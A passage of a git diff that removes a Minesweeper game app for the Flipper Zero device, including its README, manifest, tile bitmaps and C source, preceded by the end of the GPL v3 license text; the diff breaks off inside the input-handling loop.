LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/minesweeper/README.md b/applications/external/minesweeper/README.md deleted file mode 100644 index 28176bd5e..000000000 --- a/applications/external/minesweeper/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# Minesweeper - -[Original Link](https://github.com/panki27/minesweeper) - -This is a Minesweeper implementation for the Flipper Zero device. - -![screenshot](img/screenshot.png) - -## Controls - -- Arrow buttons to move -- Push center button to open field -- Hold center button to toggle flag -- Push center button on an already open field that has the correct amount of flags surrounding it to auto-open the remaining ones (thanks @gelin!) - -## Compiling - -``` -./fbt firmware_minesweeper -``` diff --git a/applications/external/minesweeper/application.fam b/applications/external/minesweeper/application.fam deleted file mode 100644 index 07b3e97bb..000000000 --- a/applications/external/minesweeper/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="minesweeper", - name="Minesweeper", - apptype=FlipperAppType.EXTERNAL, - entry_point="minesweeper_app", - requires=["gui"], - stack_size=8 * 1024, - fap_category="Games", - fap_icon="minesweeper_icon.png", - order=35, - fap_author="@panki27 & @xMasterX", - fap_version="1.0", - fap_description="Minesweeper Game", -) diff --git a/applications/external/minesweeper/assets.h b/applications/external/minesweeper/assets.h deleted file mode 100644 index b734f240f..000000000 --- a/applications/external/minesweeper/assets.h +++ /dev/null @@ -1,144 +0,0 @@ -#define tile_0_width 8 -#define tile_0_height 8 -static uint8_t tile_0_bits[] = { - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, -}; -#define tile_1_width 8 -#define tile_1_height 8 -static uint8_t tile_1_bits[] = { - 0x00, - 0x10, - 0x18, - 0x10, - 0x10, - 0x10, - 0x10, - 0x00, -}; -#define tile_2_width 8 -#define tile_2_height 8 -static uint8_t tile_2_bits[] = { - 0x00, - 0x1C, - 0x20, - 0x20, - 0x18, - 0x04, - 0x3C, - 0x00, -}; -#define tile_3_width 8 -#define tile_3_height 8 -static uint8_t tile_3_bits[] = { - 0x00, - 0x1C, - 0x20, - 0x20, - 0x18, - 0x20, - 0x1C, - 0x00, -}; -#define tile_4_width 8 -#define tile_4_height 8 -static uint8_t tile_4_bits[] = { - 0x00, - 0x04, - 0x14, - 0x14, - 0x3C, - 0x10, - 0x10, - 0x00, -}; -#define tile_5_width 8 -#define tile_5_height 8 -static uint8_t tile_5_bits[] = { - 0x00, - 0x3C, - 0x04, - 0x1C, - 0x20, - 0x20, - 0x1C, - 0x00, -}; -#define tile_6_width 8 -#define tile_6_height 8 -static uint8_t tile_6_bits[] = { - 0x00, - 0x18, - 0x24, - 0x04, - 0x1C, - 0x24, - 0x18, - 0x00, -}; -#define tile_7_width 8 -#define tile_7_height 8 -static uint8_t tile_7_bits[] = { - 0x00, - 0x3C, - 0x20, - 0x20, - 0x10, - 0x08, - 0x08, - 0x00, -}; -#define tile_8_width 8 -#define tile_8_height 8 -static uint8_t tile_8_bits[] = { - 0x00, - 0x18, - 0x24, - 0x18, - 0x24, - 0x24, - 0x18, - 0x00, -}; -#define tile_flag_width 8 -#define tile_flag_height 8 -static uint8_t tile_flag_bits[] = { - 0xFF, - 0x81, - 0xB9, - 0x89, - 0x89, - 0x9D, - 0x81, - 0xFF, -}; -#define tile_mine_width 8 -#define tile_mine_height 8 -static uint8_t tile_mine_bits[] = { - 0x55, - 0xAA, - 0x55, - 0xAA, - 0x55, - 0xAA, - 0x55, - 0xAA, -}; -#define tile_uncleared_width 8 -#define tile_uncleared_height 8 -static uint8_t tile_uncleared_bits[] = { - 0xFF, - 0x81, - 0x81, - 0x81, - 0x81, - 0x81, - 0x81, - 0xFF, -}; diff --git a/applications/external/minesweeper/assets/asset b/applications/external/minesweeper/assets/asset deleted file mode 100644 index 80a6c89f5..000000000 --- a/applications/external/minesweeper/assets/asset +++ /dev/null @@ -1,48 +0,0 @@ -#define tile_0_width 8 -#define tile_0_height 8 -static uint8_t tile_0_bits[] = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, }; -#define tile_1_width 8 -#define tile_1_height 8 -static uint8_t tile_1_bits[] = { - 0x00, 0x10, 0x18, 0x10, 0x10, 0x10, 0x10, 0x00, }; -#define tile_2_width 8 -#define tile_2_height 8 -static uint8_t tile_2_bits[] = { - 0x00, 0x1C, 0x20, 0x20, 0x18, 0x04, 0x3C, 0x00, }; -#define tile_3_width 8 -#define tile_3_height 8 -static uint8_t tile_3_bits[] = { - 0x00, 0x1C, 0x20, 0x20, 0x18, 0x20, 0x1C, 0x00, }; -#define tile_4_width 8 -#define tile_4_height 8 -static uint8_t tile_4_bits[] = { - 0x00, 0x04, 0x14, 0x14, 0x3C, 0x10, 0x10, 0x00, }; -#define tile_5_width 8 -#define tile_5_height 8 -static uint8_t tile_5_bits[] = { - 0x00, 0x3C, 0x04, 0x1C, 0x20, 0x20, 0x1C, 0x00, }; -#define tile_6_width 8 -#define tile_6_height 8 -static uint8_t tile_6_bits[] = { - 0x00, 0x18, 0x24, 0x04, 0x1C, 0x24, 0x18, 0x00, }; -#define tile_7_width 8 -#define tile_7_height 8 -static uint8_t tile_7_bits[] = { - 0x00, 0x3C, 0x20, 0x20, 0x10, 0x08, 0x08, 0x00, }; -#define tile_8_width 8 -#define tile_8_height 8 -static uint8_t tile_8_bits[] = { - 0x00, 0x18, 0x24, 0x18, 0x24, 0x24, 0x18, 0x00, }; -#define tile_flag_width 8 -#define tile_flag_height 8 -static uint8_t tile_flag_bits[] = { - 0xFF, 0x81, 0xB9, 0x89, 0x89, 0x9D, 0x81, 0xFF, }; -#define tile_mine_width 8 -#define tile_mine_height 8 -static uint8_t tile_mine_bits[] = { - 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, }; -#define tile_uncleared_width 8 -#define tile_uncleared_height 8 -static uint8_t tile_uncleared_bits[] = { - 0xFF, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0xFF, }; diff --git a/applications/external/minesweeper/assets/mockup.png b/applications/external/minesweeper/assets/mockup.png deleted file mode 100644 index 00d99b1f2..000000000 Binary files a/applications/external/minesweeper/assets/mockup.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_0.png b/applications/external/minesweeper/assets/tile_0.png deleted file mode 100644 index c7fec6cca..000000000 Binary files a/applications/external/minesweeper/assets/tile_0.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_0.xbm b/applications/external/minesweeper/assets/tile_0.xbm deleted file mode 100644 index 3da1fa7d7..000000000 --- a/applications/external/minesweeper/assets/tile_0.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_0_width 8 -#define tile_0_height 8 -static char tile_0_bits[] = { - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_1.png b/applications/external/minesweeper/assets/tile_1.png deleted file mode 100644 index 588d77c2a..000000000 Binary files a/applications/external/minesweeper/assets/tile_1.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_1.xbm b/applications/external/minesweeper/assets/tile_1.xbm deleted file mode 100644 index 568c72155..000000000 --- a/applications/external/minesweeper/assets/tile_1.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_1_width 8 -#define tile_1_height 8 -static uint8_t tile_1_bits[] = { - 0x00, 0x10, 0x18, 0x10, 0x10, 0x10, 0x10, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_2.png b/applications/external/minesweeper/assets/tile_2.png deleted file mode 100644 index 9c1c59013..000000000 Binary files a/applications/external/minesweeper/assets/tile_2.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_2.xbm b/applications/external/minesweeper/assets/tile_2.xbm deleted file mode 100644 index 198ae0879..000000000 --- a/applications/external/minesweeper/assets/tile_2.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_2_width 8 -#define tile_2_height 8 -static uint8_t tile_2_bits[] = { - 0x00, 0x1C, 0x20, 0x20, 0x18, 0x04, 0x3C, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_3.png b/applications/external/minesweeper/assets/tile_3.png deleted file mode 100644 index a229d01f5..000000000 Binary files a/applications/external/minesweeper/assets/tile_3.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_3.xbm b/applications/external/minesweeper/assets/tile_3.xbm deleted file mode 100644 index 022bd3c6b..000000000 --- a/applications/external/minesweeper/assets/tile_3.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_3_width 8 -#define tile_3_height 8 -static uint8_t tile_3_bits[] = { - 0x00, 0x1C, 0x20, 0x20, 0x18, 0x20, 0x1C, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_4.png b/applications/external/minesweeper/assets/tile_4.png deleted file mode 100644 index dfaab7b27..000000000 Binary files a/applications/external/minesweeper/assets/tile_4.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_4.xbm b/applications/external/minesweeper/assets/tile_4.xbm deleted file mode 100644 index 58287176c..000000000 --- a/applications/external/minesweeper/assets/tile_4.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_4_width 8 -#define tile_4_height 8 -static uint8_t tile_4_bits[] = { - 0x00, 0x04, 0x14, 0x14, 0x3C, 0x10, 0x10, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_5.png b/applications/external/minesweeper/assets/tile_5.png deleted file mode 100644 index 2c8f03c3d..000000000 Binary files a/applications/external/minesweeper/assets/tile_5.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_5.xbm b/applications/external/minesweeper/assets/tile_5.xbm deleted file mode 100644 index e36f51a36..000000000 --- a/applications/external/minesweeper/assets/tile_5.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_5_width 8 -#define tile_5_height 8 -static uint8_t tile_5_bits[] = { - 0x00, 0x3C, 0x04, 0x1C, 0x20, 0x20, 0x1C, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_6.png b/applications/external/minesweeper/assets/tile_6.png deleted file mode 100644 index 2af1b6511..000000000 Binary files a/applications/external/minesweeper/assets/tile_6.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_6.xbm b/applications/external/minesweeper/assets/tile_6.xbm deleted file mode 100644 index 74b290e07..000000000 --- a/applications/external/minesweeper/assets/tile_6.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_6_width 8 -#define tile_6_height 8 -static uint8_t tile_6_bits[] = { - 0x00, 0x18, 0x24, 0x04, 0x1C, 0x24, 0x18, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_7.png b/applications/external/minesweeper/assets/tile_7.png deleted file mode 100644 index c6a4e204b..000000000 Binary files a/applications/external/minesweeper/assets/tile_7.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_7.xbm b/applications/external/minesweeper/assets/tile_7.xbm deleted file mode 100644 index 6aafa6ad0..000000000 --- a/applications/external/minesweeper/assets/tile_7.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_7_width 8 -#define tile_7_height 8 -static uint8_t tile_7_bits[] = { - 0x00, 0x3C, 0x20, 0x20, 0x10, 0x08, 0x08, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_8.png b/applications/external/minesweeper/assets/tile_8.png deleted file mode 100644 index cebbe5389..000000000 Binary files a/applications/external/minesweeper/assets/tile_8.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_8.xbm b/applications/external/minesweeper/assets/tile_8.xbm deleted file mode 100644 index 05ab21045..000000000 --- a/applications/external/minesweeper/assets/tile_8.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_8_width 8 -#define tile_8_height 8 -static uint8_t tile_8_bits[] = { - 0x00, 0x18, 0x24, 0x18, 0x24, 0x24, 0x18, 0x00, }; diff --git a/applications/external/minesweeper/assets/tile_empty.png b/applications/external/minesweeper/assets/tile_empty.png deleted file mode 100644 index 1f48880fb..000000000 Binary files a/applications/external/minesweeper/assets/tile_empty.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_flag.png b/applications/external/minesweeper/assets/tile_flag.png deleted file mode 100644 index 6ec2a71f8..000000000 Binary files a/applications/external/minesweeper/assets/tile_flag.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_flag.xbm b/applications/external/minesweeper/assets/tile_flag.xbm deleted file mode 100644 index ed4b9c0aa..000000000 --- a/applications/external/minesweeper/assets/tile_flag.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_flag_width 8 -#define tile_flag_height 8 -static uint8_t tile_flag_bits[] = { - 0xFF, 0x81, 0xB9, 0x89, 0x89, 0x9D, 0x81, 0xFF, }; diff --git a/applications/external/minesweeper/assets/tile_mine.png b/applications/external/minesweeper/assets/tile_mine.png deleted file mode 100644 index 3c4a38e6e..000000000 Binary files a/applications/external/minesweeper/assets/tile_mine.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_mine.xbm b/applications/external/minesweeper/assets/tile_mine.xbm deleted file mode 100644 index 6e05347ae..000000000 --- a/applications/external/minesweeper/assets/tile_mine.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_mine_width 8 -#define tile_mine_height 8 -static uint8_t tile_mine_bits[] = { - 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, }; diff --git a/applications/external/minesweeper/assets/tile_uncleared.png b/applications/external/minesweeper/assets/tile_uncleared.png deleted file mode 100644 index b98de1116..000000000 Binary files a/applications/external/minesweeper/assets/tile_uncleared.png and /dev/null differ diff --git a/applications/external/minesweeper/assets/tile_uncleared.xbm b/applications/external/minesweeper/assets/tile_uncleared.xbm deleted file mode 100644 index e8a8ef610..000000000 --- a/applications/external/minesweeper/assets/tile_uncleared.xbm +++ /dev/null @@ -1,4 +0,0 @@ -#define tile_uncleared_width 8 -#define tile_uncleared_height 8 -static uint8_t tile_uncleared_bits[] = { - 0xFF, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0xFF, }; diff --git a/applications/external/minesweeper/img/screenshot.png b/applications/external/minesweeper/img/screenshot.png deleted file mode 100644 index 65b307c55..000000000 Binary files a/applications/external/minesweeper/img/screenshot.png and /dev/null differ diff --git a/applications/external/minesweeper/minesweeper.c b/applications/external/minesweeper/minesweeper.c deleted file mode 100644 index 4e92fba33..000000000 --- a/applications/external/minesweeper/minesweeper.c +++ /dev/null @@ -1,515 +0,0 @@ -#include -#include -#include -#include -#include - -#include -#include - -#include - -#include "assets.h" - -#define PLAYFIELD_WIDTH 16 -#define PLAYFIELD_HEIGHT 7 -#define TILE_WIDTH 8 -#define TILE_HEIGHT 8 - -#define MINECOUNT 20 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { - TileType0, // this HAS to be in order, for hint assignment to be ez pz - TileType1, - TileType2, - TileType3, - TileType4, - TileType5, - TileType6, - TileType7, - TileType8, - TileTypeUncleared, - TileTypeFlag, - TileTypeMine -} TileType; - -typedef enum { FieldEmpty, FieldMine } Field; - -typedef struct { - FuriMutex* mutex; - DialogsApp* dialogs; - NotificationApp* notifications; - Field minefield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; - TileType playfield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; - int cursor_x; - int cursor_y; - int mines_left; - int fields_cleared; - int flags_set; - bool game_started; - uint32_t game_started_tick; -} Minesweeper; - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const Minesweeper* minesweeper_state = ctx; - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - - FuriString* mineStr; - FuriString* timeStr; - mineStr = furi_string_alloc(); - timeStr = furi_string_alloc(); - - furi_string_printf(mineStr, "Mines: %d", MINECOUNT - minesweeper_state->flags_set); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(mineStr)); - - int seconds = 0; - int minutes = 0; - if(minesweeper_state->game_started) { - uint32_t ticks_elapsed = furi_get_tick() - minesweeper_state->game_started_tick; - seconds = (int)ticks_elapsed / furi_kernel_get_tick_frequency(); - minutes = (int)seconds / 60; - seconds = seconds % 60; - } - furi_string_printf(timeStr, "%01d:%02d", minutes, seconds); - canvas_draw_str_aligned(canvas, 128, 0, AlignRight, AlignTop, furi_string_get_cstr(timeStr)); - - uint8_t* tile_to_draw; - - for(int y = 0; y < PLAYFIELD_HEIGHT; y++) { - for(int x = 0; x < PLAYFIELD_WIDTH; x++) { - if(x == minesweeper_state->cursor_x && y == minesweeper_state->cursor_y) { - canvas_invert_color(canvas); - } - switch(minesweeper_state->playfield[x][y]) { - case TileType0: - tile_to_draw = tile_0_bits; - break; - case TileType1: - tile_to_draw = tile_1_bits; - break; - case TileType2: - tile_to_draw = tile_2_bits; - break; - case TileType3: - tile_to_draw = tile_3_bits; - break; - case TileType4: - tile_to_draw = tile_4_bits; - break; - case TileType5: - tile_to_draw = tile_5_bits; - break; - case TileType6: - tile_to_draw = tile_6_bits; - break; - case TileType7: - tile_to_draw = tile_7_bits; - break; - case TileType8: - tile_to_draw = tile_8_bits; - break; - case TileTypeFlag: - tile_to_draw = tile_flag_bits; - break; - case TileTypeUncleared: - tile_to_draw = tile_uncleared_bits; - break; - case TileTypeMine: - tile_to_draw = tile_mine_bits; - break; - default: - // this should never happen - tile_to_draw = tile_mine_bits; - break; - } - canvas_draw_xbm( - canvas, - x * TILE_HEIGHT, // x - 8 + (y * TILE_WIDTH), // y - TILE_WIDTH, - TILE_HEIGHT, - tile_to_draw); - if(x == minesweeper_state->cursor_x && y == minesweeper_state->cursor_y) { - canvas_invert_color(canvas); - } - } - } - - furi_string_free(mineStr); - furi_string_free(timeStr); - furi_mutex_release(minesweeper_state->mutex); -} - -static void setup_playfield(Minesweeper* minesweeper_state) { - int mines_left = MINECOUNT; - for(int y = 0; y < PLAYFIELD_HEIGHT; y++) { - for(int x = 0; x < PLAYFIELD_WIDTH; x++) { - minesweeper_state->minefield[x][y] = FieldEmpty; - minesweeper_state->playfield[x][y] = TileTypeUncleared; - } - } - while(mines_left > 0) { - int rand_x = rand() % PLAYFIELD_WIDTH; - int rand_y = rand() % PLAYFIELD_HEIGHT; - // make sure first guess isn't a mine - if(minesweeper_state->minefield[rand_x][rand_y] == FieldEmpty && - (minesweeper_state->cursor_x != rand_x || minesweeper_state->cursor_y != rand_y)) { - minesweeper_state->minefield[rand_x][rand_y] = FieldMine; - mines_left--; - } - } - minesweeper_state->mines_left = MINECOUNT; - minesweeper_state->fields_cleared = 0; - minesweeper_state->flags_set = 0; - minesweeper_state->game_started_tick = furi_get_tick(); - minesweeper_state->game_started = false; -} - -static void place_flag(Minesweeper* minesweeper_state) { - if(minesweeper_state->playfield[minesweeper_state->cursor_x][minesweeper_state->cursor_y] == - TileTypeUncleared) { - minesweeper_state->playfield[minesweeper_state->cursor_x][minesweeper_state->cursor_y] = - TileTypeFlag; - minesweeper_state->flags_set++; - } else if( - minesweeper_state->playfield[minesweeper_state->cursor_x][minesweeper_state->cursor_y] == - TileTypeFlag) { - minesweeper_state->playfield[minesweeper_state->cursor_x][minesweeper_state->cursor_y] = - TileTypeUncleared; - minesweeper_state->flags_set--; - } -} - -static bool game_lost(Minesweeper* minesweeper_state) { - // returns true if the player wants to restart, otherwise false - DialogMessage* message = dialog_message_alloc(); - - dialog_message_set_header(message, "Game Over", 64, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, "You hit a mine!", 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, NULL, "Play again", NULL); - - // Set cursor to initial position - minesweeper_state->cursor_x = 0; - minesweeper_state->cursor_y = 0; - - notification_message(minesweeper_state->notifications, &sequence_single_vibro); - - DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); - dialog_message_free(message); - - return choice == DialogMessageButtonCenter; -} - -static bool game_won(Minesweeper* minesweeper_state) { - FuriString* tempStr; - tempStr = furi_string_alloc(); - - int seconds = 0; - int minutes = 0; - uint32_t ticks_elapsed = furi_get_tick() - minesweeper_state->game_started_tick; - seconds = (int)ticks_elapsed / furi_kernel_get_tick_frequency(); - minutes = (int)seconds / 60; - seconds = seconds % 60; - - DialogMessage* message = dialog_message_alloc(); - const char* header_text = "Game won!"; - furi_string_cat_printf(tempStr, "Minefield cleared in %01d:%02d", minutes, seconds); - dialog_message_set_header(message, header_text, 64, 3, AlignCenter, AlignTop); - dialog_message_set_text( - message, furi_string_get_cstr(tempStr), 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, NULL, "Play again", NULL); - - // Call dolphin deed when we win the game - dolphin_deed(DolphinDeedPluginGameWin); - - DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); - dialog_message_free(message); - furi_string_free(tempStr); - return choice == DialogMessageButtonCenter; -} - -// returns false if the move loses the game - otherwise true -static bool play_move(Minesweeper* minesweeper_state, int cursor_x, int cursor_y) { - if(minesweeper_state->playfield[cursor_x][cursor_y] == TileTypeFlag) { - // we're on a flagged field, do nothing - return true; - } - if(minesweeper_state->minefield[cursor_x][cursor_y] == FieldMine) { - // player loses - draw mine - minesweeper_state->playfield[cursor_x][cursor_y] = TileTypeMine; - return false; - } - - if(minesweeper_state->playfield[cursor_x][cursor_y] >= TileType1 && - minesweeper_state->playfield[cursor_x][cursor_y] <= TileType8) { - // click on a cleared cell with a number - // count the flags around - int flags = 0; - for(int y = cursor_y - 1; y <= cursor_y + 1; y++) { - for(int x = cursor_x - 1; x <= cursor_x + 1; x++) { - if(x == cursor_x && y == cursor_y) { - // we're on the cell the user selected, so ignore. - continue; - } - // make sure we don't go OOB - if(x >= 0 && x < PLAYFIELD_WIDTH && y >= 0 && y < PLAYFIELD_HEIGHT) { - if(minesweeper_state->playfield[x][y] == TileTypeFlag) { - flags++; - } - } - } - } - int mines = minesweeper_state->playfield[cursor_x][cursor_y]; // ¯\_(ツ)_/¯ - if(flags == mines) { - // auto uncover all non-flags around (to win faster ;) - for(int auto_y = cursor_y - 1; auto_y <= cursor_y + 1; auto_y++) { - for(int auto_x = cursor_x - 1; auto_x <= cursor_x + 1; auto_x++) { - if(auto_x == cursor_x && auto_y == cursor_y) { - continue; - } - if(auto_x >= 0 && auto_x < PLAYFIELD_WIDTH && auto_y >= 0 && - auto_y < PLAYFIELD_HEIGHT) { - if(minesweeper_state->playfield[auto_x][auto_y] == TileTypeUncleared) { - if(!play_move(minesweeper_state, auto_x, auto_y)) { - // flags were wrong, we got a mine! - return false; - } - } - } - } - } - // we're done without hitting a mine - so return - return true; - } - } - - // calculate number of surrounding mines. - int hint = 0; - for(int y = cursor_y - 1; y <= cursor_y + 1; y++) { - for(int x = cursor_x - 1; x <= cursor_x + 1; x++) { - if(x == cursor_x && y == cursor_y) { - // we're on the cell the user selected, so ignore. - continue; - } - // make sure we don't go OOB - if(x >= 0 && x < PLAYFIELD_WIDTH && y >= 0 && y < PLAYFIELD_HEIGHT) { - if(minesweeper_state->minefield[x][y] == FieldMine) { - hint++; - } - } - } - } - // 〜( ̄▽ ̄〜) don't judge me (〜 ̄▽ ̄)〜 - minesweeper_state->playfield[cursor_x][cursor_y] = hint; - minesweeper_state->fields_cleared++; - FURI_LOG_D("Minesweeper", "Setting %d,%d to %d", cursor_x, cursor_y, hint); - if(hint == 0) { - // the field is "empty" - // auto open surrounding fields. - for(int auto_y = cursor_y - 1; auto_y <= cursor_y + 1; auto_y++) { - for(int auto_x = cursor_x - 1; auto_x <= cursor_x + 1; auto_x++) { - if(auto_x == cursor_x && auto_y == cursor_y) { - continue; - } - if(auto_x >= 0 && auto_x < PLAYFIELD_WIDTH && auto_y >= 0 && - auto_y < PLAYFIELD_HEIGHT) { - if(minesweeper_state->playfield[auto_x][auto_y] == TileTypeUncleared) { - play_move(minesweeper_state, auto_x, auto_y); - } - } - } - } - } - return true; -} - -static void minesweeper_state_init(Minesweeper* const minesweeper_state) { - minesweeper_state->cursor_x = minesweeper_state->cursor_y = 0; - minesweeper_state->game_started = false; - for(int y = 0; y < PLAYFIELD_HEIGHT; y++) { - for(int x = 0; x < PLAYFIELD_WIDTH; x++) { - minesweeper_state->playfield[x][y] = TileTypeUncleared; - } - } -} - -int32_t minesweeper_app(void* p) { - UNUSED(p); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - Minesweeper* minesweeper_state = malloc(sizeof(Minesweeper)); - // setup - minesweeper_state_init(minesweeper_state); - - minesweeper_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!minesweeper_state->mutex) { - FURI_LOG_E("Minesweeper", "cannot create mutex\r\n"); - free(minesweeper_state); - return 255; - } - // BEGIN IMPLEMENTATION - - minesweeper_state->dialogs = furi_record_open(RECORD_DIALOGS); - minesweeper_state->notifications = furi_record_open(RECORD_NOTIFICATION); - - DialogMessage* message = dialog_message_alloc(); - - dialog_message_set_header(message, "Minesweeper", 64, 3, AlignCenter, AlignTop); - dialog_message_set_text( - message, - "Hold OK pressed to toggle flags.\ngithub.com/panki27", - 64, - 32, - AlignCenter, - AlignCenter); - dialog_message_set_buttons(message, NULL, "Play", NULL); - - dialog_message_show(minesweeper_state->dialogs, message); - dialog_message_free(message); - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, minesweeper_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeShort) { - switch(event.input.key) { - case InputKeyUp: - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - minesweeper_state->cursor_y--; - if(minesweeper_state->cursor_y < 0) { - minesweeper_state->cursor_y = PLAYFIELD_HEIGHT - 1; - } - furi_mutex_release(minesweeper_state->mutex); - break; - case InputKeyDown: - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); - minesweeper_state->cursor_y++; - 